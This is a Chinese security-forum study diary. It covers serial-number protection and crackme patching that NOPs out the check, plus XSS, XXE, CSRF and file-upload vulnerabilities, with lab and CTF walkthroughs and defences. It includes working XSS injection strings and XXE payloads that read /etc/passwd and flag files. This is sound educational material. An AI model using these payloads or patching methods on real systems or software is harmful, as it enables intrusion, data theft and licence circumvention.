安全矩阵

 找回密码
 立即注册
搜索
楼主: gclome

郝恬学习日记

[复制链接]

991

主题

1063

帖子

4315

积分

论坛元老

Rank: 8Rank: 8

积分
4315
 楼主| 发表于 2020-12-5 20:43:26 | 显示全部楼层
本帖最后由 gclome 于 2020-12-5 22:46 编辑

5.1 序列化保护方式
5.1.1 序列号保护机制
软件验证序列号,其实就是验证用户名和序列号之间的数学映射关系

(1)将用户名等信息作为自信息,通过函数F变换之后得到注册码

公式为:序列号=F(用户名)

      由于这种方式的保护机制在用户机器上再现了生成注册码的过程(即在用户机器上执行了函数F),所以是以明文出现在内存中的。这是非常不安全的,因为无论F函数多么复杂,解密者只需要把函数F的实现代码从软件提取出来,就可编制一个通用的计算注册码程序了

(2)通过注册码验证用户名的正确性
       软件作者在给注册用户生成注册码的时候,使用的依然是下面这种变换

    序列号=F(用户名) 注:这里的F是一个可逆变换
       软件在检查注册码的时候,是利用F的逆变换对用户输入的注册码进行变换的。若变换的结果和用户名相同,这说明是正确的注册码,
                             (5-2)
       用来生成注册码的函数F未直接出现在软件代码中,而且正确注册码的明文也未出现在内存中
破解此类注册码检查方式的途径
1、修改比较指令
2、通过找出其逆变换,即函数F,从而得到一个正确的注册码或者写出注册机
3、给定一个用户名,利用穷举法找到一个满足式(5-2)的序列号。只适合穷举难度不大的函数
4、给定一个序列号,利用式(5-2)变换出一个用户名,从而得到一个正确的用户名/序列号对。

(3)通过对等函数来检查注册码



    此方法同样不会再内存中出现明文,F1、F2是两种完全不同的的算法,但用户名通过F1算法的计算出的特征字等于序列号通过F2算法计算出的特征字,这种算法在设计上比较简单,保密性相对以上两种算法也要好的多。如果能够把F1、F2算法设计成不可逆算法的话,保密性相当的好;可一旦解密者找到其中之一的反算法的话,这种算法就不安全了。一元算法的设计看来再如何努力也很难有太大的突破,那么二元呢?

(4)同时将用户名和注册码采用的自变量(即采用二元函数)

特定值 = F(用户名,序列号)

    这个算法看上去相当不错,用户名称与序列号之间的关系不再那么清晰了,但同时也失去了用户名于序列号的一一对应关系,软件开发者必须自己维护用户名称与序列号之间的唯一性,但这似乎不是难以办到的事,建个数据库就好了。当然你也可以根据这一思路把用户名称和序列号分为几个部分来构造多元的算法。

    
特定值 = F(用户名1,用户名2,...序列号1,序列号2...)


5.1.2 如何攻击序列号保护机制
1、数据约束性的秘诀

 这个概念是+ORC提出的,只限于用明文比较注册码的那种保护方式。在大多数序列号保护的程序中,那个真正的、正确的注册码或密码(Password)会于某个时刻出现在内存中,当然它出现的位置是不定的,但多数情况下它会在一个范围之内,即存放用户输入序列号的内存地址±0X90字节的地方。这是由于加密者所用工具内部的一个Windows数据传输的约束条件决定的。

2、hmemcpy函数

 函数Hmemcpy是Windows9x系统的内部函数,位于KERNEL32.DLL中,它的作用是将内存中的一块数据拷贝到另一个地方。由于Windows9x系统频繁使用该函数处理各种字串,因此用它作为断点很实用,它是Windows9x平台最常用的断点。在Windows NT/2K中没有这个断点,因为其内核和Windows9x完全不同。
3、利用消息断点
许多序列号保护软件都有一个按钮,当按下和释放鼠标时,将发送WM_LBUTTONDOWN(0201h)和VM_LBUTTONUP(0202h)消息,因此,用这个消息下断点很容易就能得到按钮的事件代码。

4、利用提示信息
  目前大多数软件在设计时采用了人机对话的方式。即软件在执行一段程序之后会显示一串提示信息,以反映该程序运行后的状态。
     例如:在traceme实例中输入假序列号,会显示“序列号错误,再来一次”。可以用ollydbg、ida、X64dbg等反汇编工具查找相应的字符串,定位到相关代码处

5.1.3 字符串比较形式









本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

991

主题

1063

帖子

4315

积分

论坛元老

Rank: 8Rank: 8

积分
4315
 楼主| 发表于 2020-12-7 16:40:06 | 显示全部楼层
160个carckme ---1、 Acid burn

首先使用peid查壳,发现没有壳,是Delphi的程序。

接下来把它载入到ollydbg里面,并运行这个程序


我们可以先看一下这个运行的程序,这个cm给了我们两个进行破解的模式,一个是用户名+注册码,另一个是只有注册码

先来看第一种 有用户名+注册码的

当我们输入用户名和注册码,由于注册码错误,就会引发弹框报错。


接下来我们用最常用,也是最快的方式找到弹出这个对话框的位置,搜索字符串,回到ollydbg右键 查找----所有参考文本字串----查找文本(搜索Sorry):我们可以看到,根据关键词搜索,有两处一模一样的,如果此时去做分析,需要对两个都进行下判断,看那个是有效的。


先看第一处“Sorry , The serial is incorect !”
成功搜索到关键字符,我们双击到反汇编窗口,成功定位!可以看到错误提示的call,上面有个jge跳转可以跳过错误提示,我们下断点,再次check it,停下来了,这时发现跳转是实现的!但是我们判断一下,我们应该找到执行正确的地方,然后替换这里的jge,但是在这个代码的附近并没有,说明这个报错字符串很有可能是迷惑人的,真正做判断的应该不是这里。



在看到下一个搜索到的“Sorry , The serial is incorect !”
这里有正确的提示信息,但是在jnz处跳过了正确提示信息。
我们大概浏览下代码,最近部分有两个可疑跳转JNZ 和JMP, JNZ会通过它上面的call 004039FC 判断我们的伪码是否正确,判断的结果存在EAX中,如果EAX不等于就跳转到错误提示信息框那里。我们的目的是无论伪码是否正确都通过验证,所以最简单的办法就是将jnz这句
使用NOP填充,我们尝试一下:选择JNZ这句,用nop进行汇编,回到原始程序,再次点击Check it baby!

也可以修改成jmp无条件跳转,让他跳转到回显正确的地方!

对于另外一种只有注册码的,我们的分析也是和上面一样
可以看见报错框中显示:“Try Again!”
我们将Try Again!作为关键词进行搜索,通过筛选判断,定位到了这里

接下来可以直接使用nop代替jnz那一行


小结:对于做crackme,有以下几个步骤:
一、查壳,使用peid查看是否有壳(由于刚起步,自己练习的都是不加壳的)
二、进行破解:
1、先运行下程序,观察一下报错的一些关键字
2、通过搜索关键字,使用文本进行定位,此时可能会有多处,我们应该加以判断
3、利用填充nop可以使条件判断跳转je jnz等跳转取消
     同理可利用jmp无条件跳转使其必须跳转达到爆破的目的
   (破解的方法可能不止这些,不过目前只接触了这两个)






回复

使用道具 举报

991

主题

1063

帖子

4315

积分

论坛元老

Rank: 8Rank: 8

积分
4315
 楼主| 发表于 2021-10-1 22:01:05 | 显示全部楼层
本帖最后由 gclome 于 2021-10-2 08:14 编辑

2021/10/1   

国庆节快乐!



web之XSS


概念

跨站脚本(Cross Site Scripting),简称为XSS或跨站脚本或跨站脚本攻击
攻击者利用网站漏洞把恶意的脚本代码注入到网页中,当其他用户浏览这些网页时,就会执行其中的恶意代码
恶意用户利用xss代码攻击成功之后。可能得到很高的权限(如执行一些操作)、私密网页内容、会话和cookie等内容

最最基础的一个代码就是:<script>alert('xss')</script>,你甚至可以在本地建一个 txt,输入它,改成 html 之后用浏览器打开,就会发现弹了一个窗
反射型原理
反射型 XSS 的利用一般是攻击者通过特定手法(如电子邮件),诱使用户去访问一个包含恶意代码的 URL,当受害者点击这些专门设计的链接的时候,恶意代码会直接在受害者主机上的浏览器执行。此类 XSS 通常出现在网站的搜索栏、用户登录口等地方,常用来窃取客户端 Cookies 或进行钓鱼欺骗。
例子
  1. <?php
  2. if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
  3.     echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';
  4. }
  5. ?>
复制代码


注: array_key_exists(key,array)
函数检查某个数组(array)中是否存在指定的键名(key),如果键名存在则返回 true,如果键名不存在则返回 false。

直接引用了name参数,没有过滤,当传参的内容是:<script>alert(/xss/)</script>

或者传参:<img src=1 onerror=alert('xss')/>
存储型(持久型)原理
存储型XSS又称为持久性XSS,攻击脚本将被永久地存放在目标服务器的数据库或文件中,句有很高的隐蔽性。
攻击方式:这种攻击多见于论坛、博客和留言板,攻击者在发帖的过程中,将恶意脚本连同正常信息一起注入帖子的内容中。随着帖子被服务器存储下来,恶意脚本也永久地存放在服务器的后端存储器中。当其他用户浏览这个被注入了恶意的脚本的帖子时,恶意脚本会在他们的浏览器中得到执行。
当其他用户访问留言板时,就会看到一个弹窗。
例子
  1. <?php
  2. error_reporting(0);
  3. $name =$_GET["name"];
  4. if ($name){ //连接服务器
  5.         $conn=mysqli_connect("127.0.0.1","root","windows2000","gclome");
  6.         //检测连接
  7. if($conn->connect_error)
  8. {
  9.         die ("connect fail".$conn->connect_error);
  10. }
  11. //插入语句
  12. $sql_insert="insert into test(name) values('$name')";

  13. if (mysqli_query($conn,$sql_insert)){
  14.         echo "insert ok!";
  15. }else{
  16.         echo "error :" .$sql_insert ."<br>" . mysqli_error($conn);
  17. }
  18. //查询内容
  19. $sql_select = "select * from test";
  20. $result =mysqli_query($conn,$sql_select);

  21. if($result->num_rows>0){
  22.         //输出每行数据
  23.         while($row = $result->fetch_assoc()){
  24.                 echo "<br>"." - Name:". $row["name"];        
  25.         }
  26. }else{
  27.         echo"0 results";
  28.         }}
  29.         else{
  30.                 echo "give me a name";
  31.         }

  32. ?>
复制代码

先看下面这个代码,将get传参得到的name传进了数据库里:
$sql_insert="insert into test(name) values('$name')";
之后又通过这条语句,把数据库里面的内容取出来,输出在页面上
echo "<br>"." - Name:". $row["name"];
在页面上的时候,被错误得解析成了javascript代码执行,就弹窗了
演示如下:
在没有传递name这个参数时,数据库中内容是这样的:

只有一个name是haotian得数据
接下来给它一个name值的时候,把数据库所有的name查询出来,并显示

此时,看下数据库中的内容:

接下来传参 <script>alert('xss')<script> 会如何?

我们先看下数据库里的内容:

可以发现,网页上并没有显示 <script>alert('xss')</script> 这是因为它已经被认为是代码并执行了,我们可以看一下网页源代码:

还有一点需要注意,此时他已经被存放在数据库里面,如果别人再去使用这个网页也会弹窗



DOM型(Document Object Model)原理
我们可以把DOM理解为一个一个访问HTML的标准的编程接口。DOM是一个前端的接口,并没有和后端做任何的交互。

其实这种DOM注入没有什么太大的用处,因为既没有发送到后台进行操作,也没有输入到URL中去。
可能触发DOM型XSS的属性
document.referer属性
window.name属性
location属性
innerHTML属性
documen.write属性
······
例子
  1. <body>
  2. hello
  3. <script type="text/javascript">
  4.         document.URL.match(/name=([^&]*)/);
  5.         document.write(unescape(RegExp.$1));
  6. </script>
  7. hacker
  8. </body>
复制代码


下面这句话是对name=([^&]*)进行匹配,[^&]*指除去&外的所有字符都进行匹配
document.URL.match(/name=([^&]*)/);
下面这句话是将正则匹配出来的东西输出
document.write(unescape(RegExp.$1));

Flash XSS原理
XSS一是指执行恶意js,那么为什么说flash xss呢?是因为flash有可以调用js的函数,也就是可以和js通信,因此这些函数如果使用不当就会造成xss。常见的可触发xss的危险函数有:getURL,navigateToURL,ExternalInterface.call,htmlText,loadMovie等等


xss靶场练习
共练习了15关,尝试了常见的绕过方式,笔记自己也整理了,就不一一贴过来了
xss挑战赛地址:


​​


最后贴上一张xss绕过总结图
​​






做了四道xctf得密码学题目,虽然不是很难,但有一个加密从前没见过,叫做01248密码(云影密码)


云影密码介绍:

使用 0,1,2,4,8 四个数字,其中 0 用来表示间隔,其他数字以加法可以表示出 如:28=10,124=7,18=9,再用 1->26 表示 A->Z。
可以看出该密码有以下特点
  • 只有 0,1,2,4,8
例子
8842101220480224404014224202480122



我们按照0来分割,如下:




最终得到的结果就是WELLDONE​​
































回复

使用道具 举报

991

主题

1063

帖子

4315

积分

论坛元老

Rank: 8Rank: 8

积分
4315
 楼主| 发表于 2021-10-11 20:16:03 | 显示全部楼层
本帖最后由 gclome 于 2021-10-11 20:17 编辑

XXE相关


1、什么是xxe漏洞
XXE:XML External Entity 即外部实体,从安全角度理解成XML External Entity attack 外部实体注入攻击。由于程序在解析输入的XML数据时,解析了攻击者伪造的外部实体而产生的。  
漏洞危害
  xxe漏洞就是允许了引入外部实体的加载,从而导致程序在解析xml的时候,可以加载恶意外部文件,从而造成文件读取等危害。  
1.DOS攻击
2.SSRF攻击
3.读取任意文件
4.端口探测
5.执行系统命令

知道XXE漏洞前首先得先了解XML
XML(Extensible Markup Language),中文名可扩展标记语言。
XML 指可扩展标记语言
XML是一种很像HTML的标记语言,但是其语法比HTML更为严谨。
XML 被设计用来传输和存储数据,而不是显示数据。
XML标签没有被预定义。您需要自行定义标签。
注意点:XML不会做任何事情,它仅仅是包装在XML标签中的纯粹的信息。

xml语法结构
1.所有的XML元素都必须有一个关闭标签
2.XML标签对大小写敏感
3.XML必须正确嵌套
4.XML属性值必须加引号“”
5.实体引用:在标签属性,或者对应位置值可能出现<>符号,这些在对应的xml中都是特殊含义的,那么必须使用对应html的实体对应的表示:例如,<message>if salary < 1000 then </message>如果把这个“<”放在元素中,那么解析器会把他当成新元素的开始,就会发生报错。为了避免这个错误使用实体引用来代替<message>if salary < 1000 then </message>

实体引用
<
<
>
>
&
&
'
'
"
"

XML文档结构
XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。
XML 文档声明,在文档的第一行
XML 文档类型定义,即DTD,XXE 漏洞所在的地方
XML 文档元素

  1. <?xml version="1.0"?>  //元数据,版本为xml解析器解析的版本
  2. <Person>
  3. <Name>John</Name>
  4. <Age>20</Age>
  5. </Person>
  6. <Person></Person>为根元素,有且仅有一个
复制代码

< ,> ," ,' , &等符号不被允许直接出现在XML文档中,因为xml解析器会搞不清这些符号是数据还是标签


  1. <Age>20 < > & " '</Age>   ×
复制代码

DTD(文档类型定义)
DTD(文档类型定义)的作用是定义 XML 文档的合法构建模块。
DTD 可以在 XML 文档内声明,也可以外部引用。

1,内部声明:
  1. <!DOCTYPE 根元素 [元素声明]>
复制代码

​​

2,外部声明(引用外部DTD):
<!DOCTYPE 根元素 SYSTEM "文件名">          //表示来自本地计算机
  1. 或者
  2. <!DOCTYPE 根元素 PUBLIC "public_ID" "文件名">   //表示来自公共计算机
复制代码

DTD实体是用于定义引用普通文本或特殊字符的快捷方式的变量,可以内部声明或外部引用。

为了声明这些实体,我们需要在文档类型定义(DTD)中进行。DTD是一组标记声明,用于定义XML的文档类型。它定义了XML文档的合法结构块和具有合法元素和属性列表的文档结构。DTD可以在XML文档内部声明,也可以作为外部引用声明—使用SYSTEM标识符指向可解析位置中的另一组声明。ENTITY可以使用SYSTEM关键字,调用外部资源,而这里是支持很多的协议,如:http;file等,然后,在其他DoM结点中可以使用如:&test;引用该实体内容.
那么,如果在产品功能设计当中,解析的xml是由外部可控制的,那将可能形成,如:文件读取,DoS,CSRF等漏洞.
如果要引用一个外部资源,可以借助各种协议


  1. file:///path/to/file.ext
  2. http://url/file.ext
  3. php://filter/read=convert.base64-encode/resource=conf.php
复制代码

外部声明实体用来引用外部资源,有两个关键字SYSTEM和PUBLIC两个,表示实体来自本地计算机还是公共计算机,外部实体的利用会用到协议如下:
不同语言下支持的协议:

上图是默认支持协议,还可以支持其他,如PHP支持的扩展协议有


XML文档规定:只有在DTD中才能引用参数实体,参数实体的引用和声明都是以%开头的

xxe题目练习
xxe_labs
直接放到 phpstudy 的 WWW 目录下
1、php_xxe
php_xxe靶场演示:
​​
先查看下dolgin.php里的内容:


  1. <?php
  2. /**
  3. * autor: c0ny1
  4. * date: 2018-2-7
  5. */

  6. $USERNAME = 'admin'; //账号
  7. $PASSWORD = 'admin'; //密码
  8. $result = null;

  9. libxml_disable_entity_loader(false);
  10. $xmlfile = file_get_contents('php://input');

  11. try{
  12.         $dom = new DOMDocument();
  13.         $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
  14.         $creds = simplexml_import_dom($dom);

  15.         $username = $creds->username;
  16.         $password = $creds->password;

  17.         if($username == $USERNAME && $password == $PASSWORD){
  18.                 $result = sprintf("<result><code>%d</code><msg>%s</msg></result>",1,$username);
  19.         }else{
  20.                 $result = sprintf("<result><code>%d</code><msg>%s</msg></result>",0,$username);
  21.         }        
  22. }catch(Exception $e){
  23.         $result = sprintf("<result><code>%d</code><msg>%s</msg></result>",3,$e->getMessage());
  24. }

  25. header('Content-Type: text/html; charset=utf-8');
  26. echo $result;
  27. ?>
复制代码


libxml_disable_entity_loader(false);函数意思就是不禁止外部实体加载;
file_get_contents()函数,把整个文件读入一个字符串中。
LIBXML_NOENT: 将 XML 中的实体引用 替换 成对应的值
LIBXML_DTDLOAD: 加载 DOCTYPE 中的 DTD 文件 通过php://input协议获取POST请求数据,然后把数据通过file_get_contents()函数,放在$xmlfile变量中。
抓包提交看一下

传输格式是xml格式,POST提交参数,查看返回内容:

发现,相应包返回的信息中,有username的值admin
接下来尝试构造paylaod来利用admin处的外部实体注入,利用协议读取文件:

  1. 网站在window系统上搭建:
  2. <?xml version="1.0" encoding="utf-8"?>
  3. <!DOCTYPE ANY [
  4. <!ENTITY xxes SYSTEM "file:///c:/windows/win.ini"> ]>
  5. <user><username>&xxes;</username><password>admin</password></user>
  6. 网站在linux系统上搭建:
  7. <?xml version="1.0" encoding="utf-8"?>
  8. <!DOCTYPE ANY [
  9. <!ENTITY xxes SYSTEM "file:///etc/passwd"> ]>
  10. <user><username>&xxes;</username><password>admin</password></user>
复制代码

2、文件读取(无回显 blind_xxe)
blind xxe虽然不回显信息,但是可以利用file协议来读取文件。对于这种情况,就可以用到参数实体了。用下面这个靶场演示一下
这个靶场总是进不去(有点鸡肋)


3、api调用
是来自Jarvis OJ平台的一道web题型,地址http://web.jarvisoj.com:9882/

看到题目说flag在/home/ctf/flag.txt中,那么就是访问这个目录了。
首先,我们看一下地址入口,页面是一个提交框,点击go后,把输入框输入的信息,提交到文本框中

看下提交包数据和相应包数据

发现是json传输数据, 那么对于这种提交方式,去尝试会不会解析xml,那么要修改一下Content-type为xml,然后写一个xml,看响应包解不解析:

可以看到返回的响应数据包中,返回输入了内容,也就是说服务器成功解析,是有回显的xxe,那么我就构造paly了。用我们平常构造的代码,看是否能读passwd文件数据:
构造payload

  1. <?xml version="1.0" encoding="utf-8"?>
  2. <!DOCTYPE ANY[<!ENTITY xxes SYSTEM "file:///etc/passwd">]>
  3. <test>
  4.   &xxes;
  5. </test>
复制代码


查看响应包:

果然成功读出了passwd的内容,那么就去访问flag.txt文件了,构造代码payload:

  1. <?xml version="1.0" encoding="utf-8"?>
  2. <!DOCTYPE ANY[<!ENTITY xxes SYSTEM "file:///home/ctf/flag.txt">]>
  3. <test>
  4.   &xxes;
  5. </test>
复制代码


果然读出来flag!



防御XXE攻击
方案一、使用开发语言提供的禁用外部实体的方法
1.PHP: libxml_disable_entity_loader(true);
2.JAVA: DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance(); dbf.setExpandEntityReferences(false);
3.Python: from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))


其他语言:
https://www.owasp.org/index.php/XML_External_Entity_(XXE)_Prevention_Cheat_Sheet
方案二、尽量不要让用户直接提交XML代码,如果要,过滤用户提交的XML数据
关键词:<!DOCTYPE和<!ENTITY,或者,SYSTEM和PUBLIC。  
【最后】

需要注意的就是XXE的造成与PHP版本无关,与libxml库的版本有关。libxml <= 2.9.0中,默认启用了外部实体,libxml>2.9.0中默认仅用了外部实体。XXE并不是直接由libxml库造成的,libxml库提供了一些XML核心功能,包括禁用外部实体的libxml_disable_entity_loader()函数,SimpleXML库提供了解析XML的函数,SimpleXML库依赖于libxml库。  

        无论是WEB程序,还是PC程序,只要处理用户可控的XML都可能存在危害极大的XXE漏洞,开发人员在处理XML时需谨慎,在用户可控的XML数据里禁止引用外部实体。












回复

使用道具 举报

991

主题

1063

帖子

4315

积分

论坛元老

Rank: 8Rank: 8

积分
4315
 楼主| 发表于 2021-10-11 20:22:58 | 显示全部楼层
CSRF相关


一、简介
CSRF(Cross-site request forgery,跨站请求伪造),也被称为 one click attack或者session riding,缩写为:CSRF/XSRF;是一种对网站的恶意攻击。尽管听起来像跨站脚本(xss),但它与xss非常不同,xss利用站点内的信任用户,而csrf则通过伪装成受信任用户请求受信任的网站。与xss相比,csrf攻击往往不大流行(因此对其防范的资源也相当稀少)也难以防范,所以被认为比xss更具有危险性。
原理

从上图能够看出,要完毕一次CSRF攻击,受害者必须依次完毕两个步骤:
登录受信任站点A,在本地生成Cookie,且能够执行该网站的功能。
在不登出A的情况下,訪问危险站点B。

作用
攻击者盗用了你的身份,以你的名义发送恶意请求;

危害
以你名义发送邮件,发消息,盗取你的账号,甚至于购买商品,虚拟货币转账......造成的问题包括:个人隐私泄露以及财产安全;

CSRF攻击总是涉及到三个角色:
受信任的网站
受害者的session或cookie
一个恶意网站。

攻击步骤
Csrf攻击包括一系列步骤,如下:
1、受害者用户使用他/她的用户名和密码登录到可信站点,从而创建一个新的会话。
2、web浏览器保存来自受信任站点返回给受害者的cookie或session。
3、受害者用户在不退出信任网站时就去访问恶意网站。
4、打开恶意网站的网页的同时,web浏览器会发送一个请求到受信任的站点。
5、web浏览器在访问受信任站点时会自动使用已保存的cookie或者session。
6、受信任的站点如果存在CSRF漏洞,攻击者就可以以受害者的身份向受信任网站发送请求了。。
恶意网站可以发送HTTP GET或者POST请求到受信任的站点。比如,通过设置img或者iframe等html标签的url属性,就可以构造GET请求。而html表单即可构造POST请求。构造GET请求是非常容易的,因为它甚至不需要javascript来实现。而构造POST请求则需要javascript的辅助。Collabtive只针对后者,本实验的任务将只涉及HTTP POST请求。

二、Collabtive系统跨站请求伪造实验
三、CSRF攻击实例

受害者 Bob 在银行有一笔存款,通过对银行的网站发送请求 http://bank.example/withdraw?acc ... 000000&for=bob2 可以使 Bob 把 1000000 的存款转到 bob2 的账号下。通常情况下,该请求发送到网站后,服务器会先验证该请求是否来自一个合法的 session,并且该 session 的用户 Bob 已经成功登陆。
黑客 Mallory 自己在该银行也有账户,他知道上文中的 URL 可以把钱进行转账操作。Mallory 可以自己发送一个请求给银行:http://bank.example/withdraw?acc ... 000&for=Mallory。但是这个请求来自 Mallory 而非 Bob,他不能通过安全认证,因此该请求不会起作用。
这时,Mallory 想到使用 CSRF 的攻击方式,他先自己做一个网站,在网站中放入如下代码: src=”http://bank.example/withdraw?acc ... 000&for=Mallory ”,并且通过广告等诱使 Bob 来访问他的网站。当 Bob 访问该网站时,上述 url 就会从 Bob 的浏览器发向银行,而这个请求会附带 Bob 浏览器中的 cookie 一起发向银行服务器。大多数情况下,该请求会失败,因为他要求 Bob 的认证信息。但是,如果 Bob 当时恰巧刚访问他的银行后不久,他的浏览器与银行网站之间的 session 尚未过期,浏览器的 cookie 之中含有 Bob 的认证信息。这时,悲剧发生了,这个 url 请求就会得到响应,钱将从 Bob 的账号转移到 Mallory 的账号,而 Bob 当时毫不知情。等以后 Bob 发现账户钱少了,即使他去银行查询日志,他也只能发现确实有一个来自于他本人的合法请求转移了资金,没有任何被攻击的痕迹。而 Mallory 则可以拿到钱后逍遥法外。

四、CSRF漏洞检测

检测CSRF漏洞是一项比较繁琐的工作,最简单的方法就是抓取一个正常请求的数据包,去掉Referer字段后再重新提交,如果该提交还有效,那么基本上可以确定存在CSRF漏洞。
随着对CSRF漏洞研究的不断深入,不断涌现出一些专门针对CSRF漏洞进行检测的工具,如CSRFTester,CSRF Request Builder等。
以CSRFTester工具为例,CSRF漏洞检测工具的测试原理如下:使用CSRFTester进行测试时,首先需要抓取我们在浏览器中访问过的所有链接以及所有的表单等信息,然后通过在CSRFTester中修改相应的表单等信息,重新提交,这相当于一次伪造客户端请求。如果修改后的测试请求成功被网站服务器接受,则说明存在CSRF漏洞,当然此款工具也可以被用来进行CSRF攻击。

五、防御CSRF攻击(1)验证 HTTP Referer 字段
根据 HTTP 协议,在 HTTP 头中有一个字段叫 Referer,它记录了该 HTTP 请求的来源地址。在通常情况下,访问一个安全受限页面的请求来自于同一个网站,比如需要访问 http://bank.example/withdraw?acc ... 000&for=Mallory,用户必须先登陆 bank.example,然后通过点击页面上的按钮来触发转账事件。这时,该转帐请求的 Referer 值就会是转账按钮所在的页面的 URL,通常是以 bank.example 域名开头的地址。而如果黑客要对银行网站实施 CSRF 攻击,他只能在他自己的网站构造请求,当用户通过黑客的网站发送请求到银行时,该请求的 Referer 是指向黑客自己的网站。因此,要防御 CSRF 攻击,银行网站只需要对于每一个转账请求验证其 Referer 值,如果是以 bank.example 开头的域名,则说明该请求是来自银行网站自己的请求,是合法的。如果 Referer 是其他网站的话,则有可能是黑客的 CSRF 攻击,拒绝该请求。

这种方法的显而易见的好处就是简单易行,网站的普通开发人员不需要操心 CSRF 的漏洞,只需要在最后给所有安全敏感的请求统一增加一个拦截器来检查 Referer 的值就可以。特别是对于当前现有的系统,不需要改变当前系统的任何已有代码和逻辑,没有风险,非常便捷。

然而,这种方法并非万无一失。Referer 的值是由浏览器提供的,虽然 HTTP 协议上有明确的要求,但是每个浏览器对于 Referer 的具体实现可能有差别,并不能保证浏览器自身没有安全漏洞。使用验证 Referer 值的方法,就是把安全性都依赖于第三方(即浏览器)来保障,从理论上来讲,这样并不安全。事实上,对于某些浏览器,比如 IE6 或 FF2,目前已经有一些方法可以篡改 Referer 值。如果 bank.example 网站支持 IE6 浏览器,黑客完全可以把用户浏览器的 Referer 值设为以 bank.example 域名开头的地址,这样就可以通过验证,从而进行 CSRF 攻击。
即便是使用最新的浏览器,黑客无法篡改 Referer 值,这种方法仍然有问题。因为 Referer 值会记录下用户的访问来源,有些用户认为这样会侵犯到他们自己的隐私权,特别是有些组织担心 Referer 值会把组织内网中的某些信息泄露到外网中。因此,用户自己可以设置浏览器使其在发送请求时不再提供 Referer。当他们正常访问银行网站时,网站会因为请求没有 Referer 值而认为是 CSRF 攻击,拒绝合法用户的访问。

(2)在请求地址中添加 token 并验证
CSRF 攻击之所以能够成功,是因为黑客可以完全伪造用户的请求,该请求中所有的用户验证信息都是存在于 cookie 中,因此黑客可以在不知道这些验证信息的情况下直接利用用户自己的 cookie 来通过安全验证。要抵御 CSRF,关键在于在请求中放入黑客所不能伪造的信息,并且该信息不存在于 cookie 之中。可以在 HTTP 请求中以参数的形式加入一个随机产生的 token,并在服务器端建立一个拦截器来验证这个 token,如果请求中没有 token 或者 token 内容不正确,则认为可能是 CSRF 攻击而拒绝该请求。

这种方法要比检查 Referer 要安全一些,token 可以在用户登陆后产生并放于 session 之中,然后在每次请求时把 token 从 session 中拿出,与请求中的 token 进行比对,但这种方法的难点在于如何把 token 以参数的形式加入请求。对于 GET 请求,token 将附在请求地址之后,这样 URL 就变成 http://url?csrftoken=tokenvalue。 而对于 POST 请求来说,要在 form 的最后加上 <input type=”hidden” name=”csrftoken” value=”tokenvalue”/>,这样就把 token 以参数的形式加入请求了。但是,在一个网站中,可以接受请求的地方非常多,要对于每一个请求都加上 token 是很麻烦的,并且很容易漏掉,通常使用的方法就是在每次页面加载时,使用 javascript 遍历整个 dom 树,对于 dom 中所有的 a 和 form 标签后加入 token。这样可以解决大部分的请求,但是对于在页面加载之后动态生成的 html 代码,这种方法就没有作用,还需要程序员在编码时手动添加 token。

该方法还有一个缺点是难以保证 token 本身的安全。特别是在一些论坛之类支持用户自己发表内容的网站,黑客可以在上面发布自己个人网站的地址。由于系统也会在这个地址后面加上 token,黑客可以在自己的网站上得到这个 token,并马上就可以发动 CSRF 攻击。为了避免这一点,系统可以在添加 token 的时候增加一个判断,如果这个链接是链到自己本站的,就在后面添加 token,如果是通向外网则不加。不过,即使这个 csrftoken 不以参数的形式附加在请求之中,黑客的网站也同样可以通过 Referer 来得到这个 token 值以发动 CSRF 攻击。这也是一些用户喜欢手动关闭浏览器 Referer 功能的原因。

(3)在 HTTP 头中自定义属性并验证
这种方法也是使用 token 并进行验证,和上一种方法不同的是,这里并不是把 token 以参数的形式置于 HTTP 请求之中,而是把它放到 HTTP 头中自定义的属性里。通过 XMLHttpRequest 这个类,可以一次性给所有该类请求加上 csrftoken 这个 HTTP 头属性,并把 token 值放入其中。这样解决了上种方法在请求中加入 token 的不便,同时,通过 XMLHttpRequest 请求的地址不会被记录到浏览器的地址栏,也不用担心 token 会透过 Referer 泄露到其他网站中去。

然而这种方法的局限性非常大。XMLHttpRequest 请求通常用于 Ajax 方法中对于页面局部的异步刷新,并非所有的请求都适合用这个类来发起,而且通过该类请求得到的页面不能被浏览器所记录下,从而进行前进,后退,刷新,收藏等操作,给用户带来不便。另外,对于没有进行 CSRF 防护的遗留系统来说,要采用这种方法来进行防护,要把所有请求都改为 XMLHttpRequest 请求,这样几乎是要重写整个网站,这代价无疑是不能接受的。



回复

使用道具 举报

991

主题

1063

帖子

4315

积分

论坛元老

Rank: 8Rank: 8

积分
4315
 楼主| 发表于 2021-10-11 20:34:10 | 显示全部楼层
本帖最后由 gclome 于 2021-10-11 20:44 编辑

文件上传相关

简介
在文件上传的功能处,若服务端脚本语言未对上传的文件进行严格验证和过滤,导致恶意用户上传恶意的脚本文件时,就有可能获取执行服务端命令的能力,这就是文件上传漏洞。文件上传漏洞对Web应用来说是一种非常严重的漏洞。一般情况下,Web应用都会允许用户上传一些文件,如头像、附件等信息,如果Web应该没有对用户上传的文件进行有效的检查过滤,那么恶意用户就会上传一句话木马等webshell,从而达到控制web网站的目的。  
漏洞发生点
相册、头像上传视频、照片分享附件上传(论坛发帖、邮箱)文件管理器  
成因



upload-labs靶场
刷靶场内容有点多,就不贴上来了,目录如下:

​​​​






文件上传防御

1、文件上传的目录设置为不可执行
只要web容器无法解析该目录下面的文件,即使攻击者上传了脚本文件,服务器本身也不会受到影响。

2、判断文件类型
在判断文件类型时,可以结合使用MIME Type、后缀检查等方式。在文件类型检查中,强烈推荐白名单方式,黑名单的方式已经无数次被证明是不可靠的。此外,对于图片的处理,可以使用压缩函数或者resize函数,在处理图片的同时破坏图片中可能包含的HTML代码。

3、使用随机数改写文件名和文件路径
文件上传如果要执行代码,则需要用户能够访问到这个文件。在某些环境中,用户能上传,但不能访问。如果应用了随机数改写了文件名和路径,将极大地增加攻击的成本。再来就是像shell.php.rar.rar和crossdomain.xml这种文件,都将因为重命名而无法攻击。

